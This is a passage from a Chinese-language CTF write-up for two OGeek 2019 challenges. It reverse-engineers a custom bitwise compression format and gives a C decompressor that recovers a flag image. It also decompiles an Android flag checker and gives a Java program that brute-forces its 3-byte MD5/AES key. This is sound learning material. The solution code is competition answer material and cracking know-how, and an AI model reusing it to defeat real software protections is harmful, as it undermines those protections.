    fclose(out->out_fp);

    free(out);

    return 0;
}

通过下面测试,已经和原先的程序行为基本一致:

ex@Ex:~/ogeek2019/re/babyre$ ./compress in out
ex@Ex:~/ogeek2019/re/babyre$ ./babyre in out2
Weclcome to My Baby re.
######                                       
#     #   ##   #####  #   #    #####  ######
#     #  #  #  #    #  # #     #    # #      
######  #    # #####    #      #    # #####
#     # ###### #    #   #      #####  #
#     # #    # #    #   #      #   #  # 
######  #    # #####    #      #    # ######

Yes ,succeed get new file! XD
ex@Ex:~/ogeek2019/re/babyre$ sha256sum out*
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca  out
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca  out2

分析代码可得,这是一个根据重复字符来压缩的算法,但是其长度和举例都是有限的,其长度是17,也就是byte_202040的长度,而最大距离则正好是buf0x1000

if (number > v7)
    number = v7;
if (number > 1)
{
    v9 = number;
    push_one_bit(out, 0);
    push_n_bits(out, position, 12);
    push_n_bits(out, number - 2, 4);
}
else
{
    v9 = 1;
    push_one_bit(out, 1);
    push_n_bits(out, buf[v8], 8);
}

buf为该压缩算法的缓冲区,大小为0x1000,其压缩的目的也主要取决于该缓冲区。

这是一个按位压缩的算法,从compress函数的上面代码可知,该协议分为标志位和携带内容,当标志为1时,其协议长度分为9 bit, 第一个bit为标志位,后面八个bit为一个字符。

当标志为0时,其协议长度分为17 bit, 第一个bit为标志位,然后12个bit为buf缓冲区的地址,然后4个bit为重复的次数,在解压的时候直接将其复制过来就行,这里主要是压缩重复的字节流。

只要知道压缩原理之后,只要按照其协议解压即可。下面是我写的解压程序:

// gcc -s -O3 uncompress.c -o uncompress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void recover(char *out_str, unsigned int position, unsigned int num, size_t out, char *buf)
{
    int i, p, o;
    char ch;
    p = position - 1;
    o = out;
    for (i = 0; i < num; i++)
    {
        if (((p - out) & 0xfff) >= 0 && ((p - out) & 0xfff) < 17)
        {
            p = position - 1;
            buf[(o & 0xfff)] = buf[(p & 0xfff)];
            out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
        }
        else
        {
            buf[(o & 0xfff)] = buf[(p & 0xfff)];
            out_str[o++] = buf[(p++ & 0xfff)]; // out_str[p++];
        }
    }
}

int main(int argc, char **argv)
{
    int bit, used;
    register union{
        int value;
        char bytes[4];
    }bits;
    unsigned char ch, *in_str, *out_str, buf[0x1000];
    unsigned int position, num;
    FILE *in_fp, *out_fp;
    size_t in = 0, all_in, out = 0;

    if(argc < 3)
    {
        puts("Usage: ./uncompress in_file out_file");
        exit(0);
    }

    in_fp = fopen(argv[1], "rb");

    if(in_fp == NULL)
    {
        perror("fopen error!");
        exit(-1);
    }

    out_fp = fopen(argv[2], "wb");

    if(out_fp == NULL)
    {
        perror("fopen error!");
        exit(-1);
    }

    setbuf(out_fp, NULL);

    in_str = malloc(62914560);
    out_str = malloc(62914560);

    memset(buf, 0, 0x1000);

    all_in = fread(in_str, 1, 62914560, in_fp);

    bits.bytes[3] = in_str[in++];
    bits.bytes[2] = in_str[in++];
    bits.bytes[1] = in_str[in++];
    bits.bytes[0] = in_str[in++];

    used = 0;

    while (in < all_in)
    {
        if(bits.value & 0x80000000)
        {
            bits.value <<= 1;
            ch = bits.bytes[3];
            bits.value <<= 8;
            buf[out & 0xfff] = ch;
            out_str[out++] = ch;
            used += 9;
        }
        else
        {
            bits.value <<= 1;
            position = (bits.value & 0xfff00000) >> 20;
            bits.value <<= 12;
            num = ((bits.value & 0xf0000000) >> 28) + 2;
            bits.value <<= 4;
            recover(out_str, position, num, out, buf);
            out += num;
            used += 17;
        }

        while(used / 8)
        {
            bits.value |= (in_str[in++] << (used - 8));
            used -= 8;
        }
    }

    fwrite(out_str, 1, out, out_fp);

    fclose(out_fp);
    fclose(in_fp);
    free(in_str);
    free(out_str);

    return 0;
}

之后用该程序进行解压,可以获得一张图片,flag就在图片里。

ex@Ex:~/ogeek2019/re/babyre$ ./uncompress output.file result
ex@Ex:~/ogeek2019/re/babyre$ file result 
result: PC bitmap, Windows 98/2000 and newer format, 1920 x 1080 x 32

Mobile

mblockchain

附件是一个安装包,对安装包就行解压,反汇编,得到下面主要代码:

// 
// Decompiled by Procyon v0.5.30
// 

package com.oppo.blockchain;

import java.security.MessageDigest;
import java.io.OutputStream;
import javax.crypto.CipherOutputStream;
import java.io.ByteArrayOutputStream;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

class FlagChecker
{
    public static boolean checkFlag(final String s, final String s2) throws Exception {
        final byte[] hash = hash(s.getBytes());
        byte[] array = hash(new byte[] { hash[0], hash[hash.length / 2], hash[hash.length - 1] });
        byte[] array2 = s2.getBytes();
        for (int i = 0; i < 10; ++i) {
            array2 = encrypt(array2, array);
            array = hash(array);
        }
        return toHex(array2).equals("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");
    }

    public static byte[] encrypt(final byte[] array, final byte[] array2) throws Exception {
        final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
        final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        instance.init(1, secretKeySpec);
        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
        cipherOutputStream.write(array);
        cipherOutputStream.flush();
        cipherOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static byte[] hash(final byte[] array) throws Exception {
        final MessageDigest instance = MessageDigest.getInstance("MD5");
        instance.update(array);
        return instance.digest();
    }

    public static String toHex(final byte[] array) {
        final StringBuilder sb = new StringBuilder();
        for (int i = 0; i < array.length; ++i) {
            final String hexString = Integer.toHexString(array[i] & 0xFF);
            if (hexString.length() == 1) {
                sb.append('0');
            }
            sb.append(hexString);
        }
        return sb.toString();
    }
}

ss2为我们的输入。

有下面这句话看出,hash时,只取 3个byte,所以我们对这 3个byte 进行反向爆破,最终将在爆破出的结果中找到flag。

byte[] array = hash(new byte[] { hash[0], hash[hash.length / 2],

下面是我写的爆破代码:

import java.security.MessageDigest;
import java.io.OutputStream;
import javax.crypto.CipherOutputStream;
import java.io.ByteArrayOutputStream;
import java.security.Key;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

class flag{
    public static void main(String[] args) {
        try{
            byte[][] hash_array = new byte[10][];
            byte[] key = new byte[3];
            for(int i=0; i < 256; i++)
            {
                key[0] = (byte)i;
                System.err.println(i);
                for(int ii =0;ii < 256; ii++)
                {
                    key[1] = (byte)ii;

                    for(int iii=0; iii< 256;iii++)
                    {
                        key[2] = (byte)iii;
                        hash_array[0] = hash(key);
                        byte[] answer = new byte[] {(byte)0x74,(byte)0xf0,(byte)0xb1,(byte)0x65,(byte)0xdb,(byte)0x8a,(byte)0x62,(byte)0x87,(byte)0x16,(byte)0xb5,(byte)0x3a,(byte)0x9d,(byte)0x4f,(byte)0x64,(byte)0x05,(byte)0x98,(byte)0x0d,(byte)0xb2,(byte)0xf8,(byte)0x33,(byte)0xaf,(byte)0xa1,(byte)0xed,(byte)0x5e,(byte)0xeb,(byte)0x43,(byte)0x04,(byte)0xc5,(byte)0x22,(byte)0x0b,(byte)0xdc,(byte)0x0b,(byte)0x54,(byte)0x1f,(byte)0x85,(byte)0x7a,(byte)0x73,(byte)0x48,(byte)0x07,(byte)0x4b,(byte)0x2a,(byte)0x77,(byte)0x75,(byte)0xd6,(byte)0x91,(byte)0xe7,(byte)0x1b,(byte)0x49,(byte)0x04,(byte)0x02,(byte)0x62,(byte)0x1e,(byte)0x8a,(byte)0x53,(byte)0xba,(byte)0xd4,(byte)0xcf,(byte)0x7a,(byte)0xd4,(byte)0xfc,(byte)0xc1,(byte)0x5f,(byte)0x20,(byte)0xa8,(byte)0x06,(byte)0x6e,(byte)0x08,(byte)0x7f,(byte)0xc1,(byte)0xb2,(byte)0xff,(byte)0xb2,(byte)0x1c,(byte)0x27,(byte)0x46,(byte)0x3b,(byte)0x57,(byte)0x37,(byte)0xe3,(byte)0x47,(byte)0x38,(byte)0xa6,(byte)0x24,(byte)0x4e,(byte)0x16,(byte)0x30,(byte)0xd8,(byte)0xfa,(byte)0x1b,(byte)0xf4,(byte)0xf3,(byte)0x8b,(byte)0x7e,(byte)0x71,(byte)0xd7,(byte)0x07,(byte)0x42,(byte)0x5c,(byte)0x82,(byte)0x25,(byte)0xf2,(byte)0x40,(byte)0xf4,(byte)0xbd,(byte)0x2b,(byte)0x03,(byte)0xd6,(byte)0xc2,(byte)0x47,(byte)0x1e,(byte)0x90,(byte)0x0b,(byte)0x75,(byte)0x15,(byte)0x4e,(byte)0xb6,(byte)0xf9,(byte)0xdf,(byte)0xbd,(byte)0xf5,(byte)0xa4,(byte)0xec,(byte)0xa9,(byte)0xde,(byte)0x51,(byte)0x63,(byte)0xf9,(byte)0xb3,(byte)0xee,(byte)0x82,(byte)0x95,(byte)0x9f,(byte)0x16,(byte)0x69,(byte)0x24,(byte)0xe8,(byte)0xad,(byte)0x5f,(byte)0x1d,(byte)0x74,(byte)0x4c,(byte)0x51,(byte)0x41,(byte)0x6a,(byte)0x1d,(byte)0xb8,(byte)0x96,(byte)0x38,(byte)0xbb,(byte)0x4d,(byte)0x14,(byte)0x11,(byte)0xaa,(byte)0x1b,(byte)0x13,(byte)0x07,(byte)0xd8,(byte)0x8c,(byte)0x1f,(byte)0xb5};
                        for(int j=0; j < 9; j++)
                        {
                            hash_array[j + 1] = hash(hash_array[j]);
                        }

                        for(int j=9; j>=0; j--)
                        {
                            answer = decrypt(answer, hash_array[j]);
                        }

                        if(answer.length > 6){
                            System.out.println(new String(answer));
                        }
                    }

                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }

    }

    public static byte[] encrypt(final byte[] array, final byte[] array2) throws Exception {
        final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
        final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        instance.init(1, secretKeySpec);
        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
        cipherOutputStream.write(array);
        cipherOutputStream.flush();
        cipherOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static byte[] decrypt(final byte[] array, final byte[] array2) throws Exception {
        final SecretKeySpec secretKeySpec = new SecretKeySpec(array2, "AES");
        final Cipher instance = Cipher.getInstance("AES/ECB/PKCS5Padding");
        instance.init(2, secretKeySpec);
        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final CipherOutputStream cipherOutputStream = new CipherOutputStream(byteArrayOutputStream, instance);
        cipherOutputStream.write(array);
        cipherOutputStream.flush();
        cipherOutputStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static byte[] hash(final byte[] array) throws Exception {
        final MessageDigest instance = MessageDigest.getInstance("MD5");
        instance.update(array);
        return instance.digest();
    }

    public static String toHex(final byte[] array) {
        final StringBuilder sb = new StringBuilder();
        for (int i = 0; i < array.length; ++i) {
            final String hexString = Integer.toHexString(array[i] & 0xFF);
            if (hexString.length() == 1) {
                sb.append('0');
            }
            sb.append(hexString);
        }
        return sb.toString();
    }
}

最终,将在结果中找到flag。